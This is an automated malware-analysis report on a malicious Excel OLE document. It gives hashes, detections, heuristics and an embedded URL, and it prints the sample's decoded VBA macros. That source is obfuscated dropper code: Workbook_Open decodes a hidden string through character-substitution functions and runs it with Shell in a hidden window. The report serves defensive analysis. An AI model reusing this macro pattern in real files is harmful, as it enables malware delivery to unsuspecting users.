Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4514fe06d9e010e3…

MALICIOUS

Office (OLE)

55.5 KB Created: 2018-09-19 10:08:17 Authoring application: Microsoft Excel First seen: 2019-04-17
MD5: a87f2a39f14c4065f9fd50ffe4eab6eb SHA-1: b5b7e05aef2a8f4cdc0c67462abd14d6f561b4e4 SHA-256: 4514fe06d9e010e3cbc67ec0c1541eb6f67bdca15d9d568e5c7970b7101751af
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics OLE_VBA_SHELL and OLE_VBA_PCODE_AUTOEXEC_EXEC indicate that the Workbook_Open macro executes a Shell() command. This is a common technique for downloading and executing a second-stage payload. The ClamAV detection of Xls.Malware.Valyria-6923228-0 further supports the malicious nature of the file. The embedded URL http://www.day.com/dam/1.0 is likely part of the payload delivery chain.

Heuristics 6

  • ClamAV: Xls.Malware.Valyria-6923228-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6923228-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.day.com/dam/1.0 In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8579 bytes
SHA-256: 272adb0f8f85f2d922ced422e47f90f48b7dad7f35b10c5cec85a42d05de0500
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
pr = "st"
print_stacktrace pr, 1
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SIGUSR2"
Attribute VB_Base = "0{66DAD173-49D2-45A5-92E9-0668D9ED2598}{921BD815-969D-4656-8674-DBC0455E4CF1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub Execute_Change()
IMAGE_FILE_MACHINE_AMD64 = SIGUSR2.Execute
dwVar = 100
dwVar = 99
dwVar = 98
dwVar = 97
dwVar = 96
dwVar = 95
dwVar = 94
dwVar = 93
dwVar = 92
dwVar = 91
dwVar = 90
dwVar = 89
dwVar = 88
dwVar = 87
dwVar = 86
dwVar = 85
dwVar = 84
dwVar = 83
dwVar = 82
dwVar = 81
dwVar = 80
dwVar = 79
dwVar = 78
dwVar = 0
Shell IMAGE_FILE_MACHINE_AMD64, 0
End Sub

Private Sub realnameString_Change()
C
End Sub

Attribute VB_Name = "That"
Function General(reach)
identical = ""
USE_WINDOWS_SEHnamespace = 1
plus USE_WINDOWS_SEHnamespace, identical, reach
General = identical
End Function

Function plus(ByRef sys, ByRef verbose, out)
wcContainer = Len(out)
If sys <= wcContainer Then
verbose = verbose + allocating(FILE(Right(left(out, sys), 1)), 4)
sys = sys + 1
plus sys, verbose, out
End If
End Function

Function allocating(reinterpret_cast, GNU)
If reinterpret_cast - GNU < 1 Then
allocating = Right(left(SIGUSR2.NDEBUG, Len(SIGUSR2.NDEBUG) + reinterpret_cast - GNU), 1)
Else
allocating = Right(left(SIGUSR2.NDEBUG, reinterpret_cast - GNU), 1)
End If
End Function

Function FILE(description)
ANSI = 1
NetBSD = 1
GetArrayLength ANSI, NetBSD, description
FILE = NetBSD
End Function
  
Function GetArrayLength(ByRef ANSI, ByRef NetBSD, description)
main = SIGUSR2.NDEBUG
wcContainer = Len(main)
If ANSI < wcContainer Then
    If description <> Right(left(main, ANSI), 1) Then
    ANSI = ANSI + 1
    GetArrayLength ANSI, NetBSD, description
    Else
    NetBSD = ANSI
    End If
End If
End Function

Attribute VB_Name = "user"
Public Sub C()
SIGUSR2.left1 = General(SIGUSR2.drov)
SIGUSR2.Execute = SIGUSR2.left1
End Sub

Attribute VB_Name = "legal"
Public Sub print_stacktrace(thread, dr)
SIGUSR2.realnameString = thread
dr2 = dr
End Sub

' Processing file: /opt/analyzer/scan_staging/50a262cebe5346ebb9259d35c1116796.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/Sheet3 - 977 bytes
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1296 bytes
' Line #0:
' 	FuncDefn (Private Sub Workbook_Open())
' Line #1:
' 	LitStr 0x0002 "st"
' 	St pr 
' Line #2:
' 	Ld pr 
' 	LitDI2 0x0001 
' 	ArgsCall print_stacktrace 0x0002 
' Line #3:
' 	EndSub 
' Line #4:
' _VBA_PROJECT_CUR/VBA/Sheet1 - 977 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 977 bytes
' _VBA_PROJECT_CUR/VBA/SIGUSR2 - 2159 bytes
' Line #0:
' Line #1:
' 	
... (truncated)

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